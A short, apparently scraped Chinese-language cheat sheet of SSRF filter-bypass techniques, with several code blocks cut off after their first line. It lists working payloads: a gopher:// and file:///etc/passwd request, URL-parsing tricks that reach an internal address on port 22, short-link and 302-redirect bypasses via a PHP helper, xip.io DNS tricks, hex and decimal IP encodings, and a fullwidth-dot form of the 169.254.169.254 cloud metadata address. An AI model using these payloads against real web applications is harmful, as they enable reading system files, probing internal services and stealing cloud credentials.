gopher://ip:port/_urlencode(tcp)
SSRF FUZZ TOOL
0. 使用其他协议
1 | file:///etc/passwd |
1. 利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
https://www.baidu.com@google.com
与 https://google.com
是一样的
1 | http://google.com:80+&@127.88.23.245:22/#+@google.com:80/ |
2. 短地址 + 302跳转 绕过
1 | <script> |
如果过滤了IP可以用网上的短地址
辅助脚本302.php—-bypass http协议限制
1 | <?php |
3. 利用 xip.io
和 xip.name
网站
1 | # |
4. 更改IP地址写法
- ip地址转换成进制来访问
1
2
3
4
5
6220.181.57.216
十六进制 = DCB539D8
十进制 = 3702864344
http://0xDCB539D8
http://3702864344
在线转换
- 或者IP地址部分地方转换为进制来表达
http://0xdc.181.57.216
5. 添加端口可能绕过匹配正则
220.181.57.216:80
6. 滥用封闭的字母数字
1 | http://169。254。169。254/ |